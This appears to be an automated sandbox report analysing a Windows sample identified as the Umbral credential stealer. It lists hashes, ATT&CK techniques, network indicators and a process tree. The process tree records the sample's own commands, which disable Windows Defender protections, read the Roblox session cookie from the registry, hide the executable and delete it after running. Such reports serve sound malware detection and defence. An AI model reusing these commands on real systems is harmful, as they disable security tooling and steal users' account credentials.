umbral | 07e766e52bb7e049cf15d5f7a5d7e5600760920a6fdf0817da956572267f6002

Analysis

max time kernel
100s
max time network
120s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07/09/2024, 21:08

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General

Target

880291d677d6775c4d808db72a161db0N.exe
Size

229KB
MD5

880291d677d6775c4d808db72a161db0
SHA1

5455b1a4cc2efeef61a63109a34c0730a759cae4
SHA256

07e766e52bb7e049cf15d5f7a5d7e5600760920a6fdf0817da956572267f6002
SHA512

9bb8a742960e14ebbc50e247cc96ce3cf721e45fe19afe98e1fa8820aad8c9af96291445c778d06c6916763c54b0f5e3e05d7187cceb1a96b8ff9fba9e3c927f
SSDEEP

6144:lloZM9rIkd8g+EtXHkv/iD4ruwiJX8Qf3+nJUg172b8e1mei:noZOL+EP8ruwiJX8Qf3+nJUg1uY

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3592-1-0x0000024F40530000-0x0000024F40570000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
448	powershell.exe
2892	powershell.exe
2212	powershell.exe
4628	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	880291d677d6775c4d808db72a161db0N.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
47	discord.com
48	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2308	cmd.exe
2440	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3468	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2440	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
448	powershell.exe
448	powershell.exe
2892	powershell.exe
2892	powershell.exe
2212	powershell.exe
2212	powershell.exe
4884	powershell.exe
4884	powershell.exe
4628	powershell.exe
4628	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3592	880291d677d6775c4d808db72a161db0N.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	1460	wmic.exe
Token: SeSecurityPrivilege	1460	wmic.exe
Token: SeTakeOwnershipPrivilege	1460	wmic.exe
Token: SeLoadDriverPrivilege	1460	wmic.exe
Token: SeSystemProfilePrivilege	1460	wmic.exe
Token: SeSystemtimePrivilege	1460	wmic.exe
Token: SeProfSingleProcessPrivilege	1460	wmic.exe
Token: SeIncBasePriorityPrivilege	1460	wmic.exe
Token: SeCreatePagefilePrivilege	1460	wmic.exe
Token: SeBackupPrivilege	1460	wmic.exe
Token: SeRestorePrivilege	1460	wmic.exe
Token: SeShutdownPrivilege	1460	wmic.exe
Token: SeDebugPrivilege	1460	wmic.exe
Token: SeSystemEnvironmentPrivilege	1460	wmic.exe
Token: SeRemoteShutdownPrivilege	1460	wmic.exe
Token: SeUndockPrivilege	1460	wmic.exe
Token: SeManageVolumePrivilege	1460	wmic.exe
Token: 33	1460	wmic.exe
Token: 34	1460	wmic.exe
Token: 35	1460	wmic.exe
Token: 36	1460	wmic.exe
Token: SeIncreaseQuotaPrivilege	1460	wmic.exe
Token: SeSecurityPrivilege	1460	wmic.exe
Token: SeTakeOwnershipPrivilege	1460	wmic.exe
Token: SeLoadDriverPrivilege	1460	wmic.exe
Token: SeSystemProfilePrivilege	1460	wmic.exe
Token: SeSystemtimePrivilege	1460	wmic.exe
Token: SeProfSingleProcessPrivilege	1460	wmic.exe
Token: SeIncBasePriorityPrivilege	1460	wmic.exe
Token: SeCreatePagefilePrivilege	1460	wmic.exe
Token: SeBackupPrivilege	1460	wmic.exe
Token: SeRestorePrivilege	1460	wmic.exe
Token: SeShutdownPrivilege	1460	wmic.exe
Token: SeDebugPrivilege	1460	wmic.exe
Token: SeSystemEnvironmentPrivilege	1460	wmic.exe
Token: SeRemoteShutdownPrivilege	1460	wmic.exe
Token: SeUndockPrivilege	1460	wmic.exe
Token: SeManageVolumePrivilege	1460	wmic.exe
Token: 33	1460	wmic.exe
Token: 34	1460	wmic.exe
Token: 35	1460	wmic.exe
Token: 36	1460	wmic.exe
Token: SeIncreaseQuotaPrivilege	1100	wmic.exe
Token: SeSecurityPrivilege	1100	wmic.exe
Token: SeTakeOwnershipPrivilege	1100	wmic.exe
Token: SeLoadDriverPrivilege	1100	wmic.exe
Token: SeSystemProfilePrivilege	1100	wmic.exe
Token: SeSystemtimePrivilege	1100	wmic.exe
Token: SeProfSingleProcessPrivilege	1100	wmic.exe
Token: SeIncBasePriorityPrivilege	1100	wmic.exe
Token: SeCreatePagefilePrivilege	1100	wmic.exe
Token: SeBackupPrivilege	1100	wmic.exe
Token: SeRestorePrivilege	1100	wmic.exe
Token: SeShutdownPrivilege	1100	wmic.exe
Token: SeDebugPrivilege	1100	wmic.exe
Token: SeSystemEnvironmentPrivilege	1100	wmic.exe
Token: SeRemoteShutdownPrivilege	1100	wmic.exe
Token: SeUndockPrivilege	1100	wmic.exe
Token: SeManageVolumePrivilege	1100	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3592 wrote to memory of 4164	3592	880291d677d6775c4d808db72a161db0N.exe	95
PID 3592 wrote to memory of 4164	3592	880291d677d6775c4d808db72a161db0N.exe	95
PID 3592 wrote to memory of 448	3592	880291d677d6775c4d808db72a161db0N.exe	97
PID 3592 wrote to memory of 448	3592	880291d677d6775c4d808db72a161db0N.exe	97
PID 3592 wrote to memory of 2892	3592	880291d677d6775c4d808db72a161db0N.exe	99
PID 3592 wrote to memory of 2892	3592	880291d677d6775c4d808db72a161db0N.exe	99
PID 3592 wrote to memory of 2212	3592	880291d677d6775c4d808db72a161db0N.exe	101
PID 3592 wrote to memory of 2212	3592	880291d677d6775c4d808db72a161db0N.exe	101
PID 3592 wrote to memory of 4884	3592	880291d677d6775c4d808db72a161db0N.exe	103
PID 3592 wrote to memory of 4884	3592	880291d677d6775c4d808db72a161db0N.exe	103
PID 3592 wrote to memory of 1460	3592	880291d677d6775c4d808db72a161db0N.exe	105
PID 3592 wrote to memory of 1460	3592	880291d677d6775c4d808db72a161db0N.exe	105
PID 3592 wrote to memory of 1100	3592	880291d677d6775c4d808db72a161db0N.exe	107
PID 3592 wrote to memory of 1100	3592	880291d677d6775c4d808db72a161db0N.exe	107
PID 3592 wrote to memory of 3408	3592	880291d677d6775c4d808db72a161db0N.exe	109
PID 3592 wrote to memory of 3408	3592	880291d677d6775c4d808db72a161db0N.exe	109
PID 3592 wrote to memory of 4628	3592	880291d677d6775c4d808db72a161db0N.exe	111
PID 3592 wrote to memory of 4628	3592	880291d677d6775c4d808db72a161db0N.exe	111
PID 3592 wrote to memory of 3468	3592	880291d677d6775c4d808db72a161db0N.exe	113
PID 3592 wrote to memory of 3468	3592	880291d677d6775c4d808db72a161db0N.exe	113
PID 3592 wrote to memory of 2308	3592	880291d677d6775c4d808db72a161db0N.exe	116
PID 3592 wrote to memory of 2308	3592	880291d677d6775c4d808db72a161db0N.exe	116
PID 2308 wrote to memory of 2440	2308	cmd.exe	118
PID 2308 wrote to memory of 2440	2308	cmd.exe	118

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4164	attrib.exe

C:\Users\Admin\AppData\Local\Temp\880291d677d6775c4d808db72a161db0N.exe
"C:\Users\Admin\AppData\Local\Temp\880291d677d6775c4d808db72a161db0N.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3592
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\880291d677d6775c4d808db72a161db0N.exe"
  2⤵
  - Views/modifies file attributes
  PID:4164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\880291d677d6775c4d808db72a161db0N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4884
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1460
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1100
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4628
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\880291d677d6775c4d808db72a161db0N.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
f4bf3ca8753d6bb9725419fec1ec74b9

SHA1
71fce9d17d1d92873236a9a827c52eb9e4827f3d

SHA256
ca8697e4ada4c3d4aac2899b8aad4052ccd605fccee05ee0a831368bde2f7417

SHA512
a55a107ae8bcf833ea674413c765cd55096146c9634dff41884fcc851c12fe47753308099525c99ae44883facfb668c8b292dd915263f34ebd1190391cb28a54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7164c3d7c57ebbaec233482f2e1cc1f1

SHA1
a767f48a2a10c216470d0782100828f0bed91579

SHA256
65ca843513f0f6ee03ae9b357fd6fea801a17ffe23c8a04777f8f06a5f0206ae

SHA512
bc09ee737727408fa5a969a6eb2be0be83d521e4f3f6c0567e4caa28f09de2794d413fbef52a5a7243fb49005d69ab56052ce417440d07beadbc6684cb362951

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c3cf91e3df2ce46d52e04a5f63beb49a

SHA1
41f3876d8a849821e516196c30ea79131c36fc30

SHA256
35368a659da3dfbd9d0ca05206d808d50967fc412eb2aa20f2c2fa0e214fd6e7

SHA512
92672e35c0f975073de3c78e777d8961411135368678311fcf551801e280341a3f86f0ecd727c1f5b71ec5dafcf84036a0b68201014584ed45c0162a2a39a95c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o5e4pw32.vns.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/448-10-0x000001AA56940000-0x000001AA56962000-memory.dmp

Filesize
136KB

Download
memory/448-15-0x00007FF8FA5E0000-0x00007FF8FB0A1000-memory.dmp

Filesize
10.8MB

Download
memory/448-16-0x00007FF8FA5E0000-0x00007FF8FB0A1000-memory.dmp

Filesize
10.8MB

Download
memory/448-19-0x000001AA56970000-0x000001AA569B8000-memory.dmp

Filesize
288KB

Download
memory/448-20-0x00007FF8FA5E0000-0x00007FF8FB0A1000-memory.dmp

Filesize
10.8MB

Download
memory/448-4-0x00007FF8FA5E0000-0x00007FF8FB0A1000-memory.dmp

Filesize
10.8MB

Download
memory/2892-33-0x00000156ED930000-0x00000156ED978000-memory.dmp

Filesize
288KB

Download
memory/3592-36-0x0000024F5AC90000-0x0000024F5AD06000-memory.dmp

Filesize
472KB

Download
memory/3592-2-0x00007FF8FA5E0000-0x00007FF8FB0A1000-memory.dmp

Filesize
10.8MB

Download
memory/3592-37-0x0000024F5AD10000-0x0000024F5AD60000-memory.dmp

Filesize
320KB

Download
memory/3592-38-0x0000024F421D0000-0x0000024F421EE000-memory.dmp

Filesize
120KB

Download
memory/3592-0-0x00007FF8FA5E3000-0x00007FF8FA5E5000-memory.dmp

Filesize
8KB

Download
memory/3592-1-0x0000024F40530000-0x0000024F40570000-memory.dmp

Filesize
256KB

Download
memory/3592-75-0x0000024F42200000-0x0000024F4220A000-memory.dmp

Filesize
40KB

Download
memory/3592-76-0x0000024F42240000-0x0000024F42252000-memory.dmp

Filesize
72KB

Download
memory/3592-3-0x00007FF8FA5E0000-0x00007FF8FB0A1000-memory.dmp

Filesize
10.8MB

Download
memory/3592-95-0x00007FF8FA5E0000-0x00007FF8FB0A1000-memory.dmp

Filesize
10.8MB

Download
memory/4628-90-0x0000016FCA3E0000-0x0000016FCA428000-memory.dmp

Filesize
288KB

Download
memory/4884-73-0x0000016979140000-0x0000016979188000-memory.dmp

Filesize
288KB

Download